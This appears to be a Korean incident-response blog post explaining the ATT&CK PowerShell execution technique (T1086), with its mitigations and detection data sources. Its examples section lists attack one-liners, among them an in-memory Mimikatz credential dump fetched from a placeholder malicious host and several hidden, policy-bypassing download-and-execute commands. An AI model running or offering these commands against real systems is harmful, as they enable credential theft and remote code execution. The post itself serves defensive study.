[Incident Response] T1086 PowerShell

 

ATT&CK Execution


(1) Execution이란?

  • 공격자는 내부 네트워크에서 악의적인 코드를 실행하고자 노력

  • 로컬이나 원격 시스템에서 악의적인 코드를 실행하는 기술로 구성

  • 절차(Procedure)를 진행하기 위해 다른 모든 전술(Tactis)의 기술(Techniques)과 짝을 이루어 활용

  • 예시

    • LNK 파일 내에 포함된 Powershell 명령 행 실행

    • 스피어피싱(Spearphishing) 메일 내에 .hta 확장자인 파일을 포함하여 실행하도록 유도

[그림 1] Execution


(2) Powershell이란?

  • PowerShell은 Windows 운영체제에 포함된 강력한 대화식 명령줄 인터페이스 및 스크립팅 환경

  • 공격자는 PowerShell을 사용하여 정보 검색 및 코드 실행을 비롯한 여러 작업 수행 가능

  • 예로, 실행 파일을 실행하는 데 사용할 수 있는 Start-Process cmdlet과 로컬 또는 원격 컴퓨터에서 명령을 실행하는 Invoke-Command cmdlet이 있음

  • PowerShell은 디스크에서 디스크를 건드리지 않고, 디스크 또는 메모리에서 실행할 수 있는 인터넷에서 실행 파일을 다운로드하여 실행하는 데 사용될 수 있음

  • PowerShell을 사용하여 원격 시스템에 연결하려면 관리자 권한이 필요하며, Empire나 Powersploit 및 PSAttack를 포함하여 여러 PowerShell 기반 공격 테스트 도구 사용 가능

  • PowerShell 명령 스크립트는 .NET Framework 및 Windows Command-Line Interface(CLI)를 통해 노출되는 PowerShell의 기본 System.Management.Automation 어셈블리에 대한 인터페이스를 통해 powershell.exe 바이너리를 직접 호출하지 않고도 실행 가능

  • 완화 방법으로는 코드 서명과 비활성화(기능 제거), 권한 계정 관리가 있음

  • 코드 서명은 서명 된 스크립트만 실행하도록 PowerShell 실행 정책을 설정하는 것

  • 비활성화(기능 제거)는 원격 실행에 PowerShell을 사용하지 못하도록 WinRM 서비스 비활성화(제한)

  • 권한 계정 관리는 PowerShell이 필요한 경우, PowerShell 실행 정책을 관리자로 제한하는 것 


(3) PowerShell 내용 정리

3-1. 정상 용도

  • Windows 운영체제에 포함된 가장 강력한 대화식 사용자 인터페이스

3-2. 악의적 사용

  • 공격자는 정상 명령 행을 악용 (정보 검색, 코드 실행 등 수행)

  • 파일 실행 - Start Process cmdlet

  • 로컬 / 원격 컴퓨터에 명령 실행 : Invoke-Command cmdlet

  • 인터넷에서 in-memory 다운로드 및 실행 가능 (Fileless Attack, Fileless Malware)

  • PowerShell 이용하여 원격 시스템 연결 가능 (Enable-PSRemoting -Force)

  • 여러 가지 공격 프레임워크 존재 (Empire, PowerSploit, PSAttack, Etc) 

3-3. 매개변수

  • .ps1 - PowerShell Script File

3-4. 예제

  • powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://malware.mal/Mimikatz.ps1'); Invoke-Mimikatz - DumpCreds"

  • IEX (New-Object Net.WebClient).DownloadString('#{bloodurl}') Invoke-BloodHound

  • New-LocalUser -FullName '#{full_name}' -Name '#{user_name}' -Password #{password} -Description '#{description}'

  • powershell.exe IEX -exec bypass -windowstyle hidden -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX

  • powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"

  • "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -windowstyle hidden -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$xml.command.a.execute | IEX"

[그림 2] PowerShell 기법 예시

 

[그림 3] PowerShell Empire

 

[그림 4] PowerSploit


(4) PowerShell 기법 실습

 

[그림 5] PowerShell 기법 실습

 

  • 이번 기법은 예제가 매우 많으므로, 간단하게 실습

  • 해당 실습은 PowerShell을 이용하여 ADS 영역(숨겨진 영역)에 코드를 숨겨놓는 기법


(5) PowerShell 추가 내용

  • ID : T1086

  • 전술 : Execution

  • 플랫폼 : Windows

  • 필요 권한 : User, Administrator

  • 데이터 소스

    • PowerShell 로그

    • 로드된 DLL

    • DLL 모니터링

    • Windows 레지스트리

    • 파일 모니터링

    • 프로세스 모니터링

    • 프로세스 명령 줄 매개변수

  • 원격 지원 가능


# Reference

 

https://attack.mitre.org/techniques/T1086/

 

https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1086/T1086.md

 

https://www.powershellempire.com/?page_id=106

 

https://github.com/PowerShellMafia/PowerSploit

+ Recent posts